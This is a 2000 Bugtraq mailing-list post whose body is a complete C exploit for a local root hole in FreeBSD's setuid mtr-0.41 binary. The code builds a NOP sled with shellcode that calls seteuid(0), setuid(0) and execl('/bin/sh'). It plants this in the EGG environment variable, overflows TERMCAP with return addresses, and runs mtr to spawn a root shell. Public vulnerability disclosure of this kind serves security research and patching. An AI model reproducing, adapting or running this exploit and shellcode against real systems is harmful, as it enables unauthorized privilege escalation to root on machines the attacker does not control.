mtr-0.41 root exploit
Date: Mon, 24 Apr 2000 13:12:12 +0200
From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: mtr-0.41 root exploit
/* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */
/* freebsd mtr-0.41 local root exploit */
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define BUFSIZE 10000
#define ADDRS 1200
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
//seteuid(0);
"\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
//setuid(0);
"\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
//execl("/bin/sh", "sh", 0);
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char buf[BUFSIZE+ADDRS+1], *p;
int noplen, i, ofs;
long ret, *ap;
if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }
ofs = atoi(argv[1]);
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
setenv("EGG", buf, 1);
p = buf;
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "ret: 0x%x\n", ret);
setenv("TERMCAP", buf, 1);
execl("/usr/local/sbin/mtr", "mtr", 0);
return 0;
}
--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: venglin@freebsd.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *
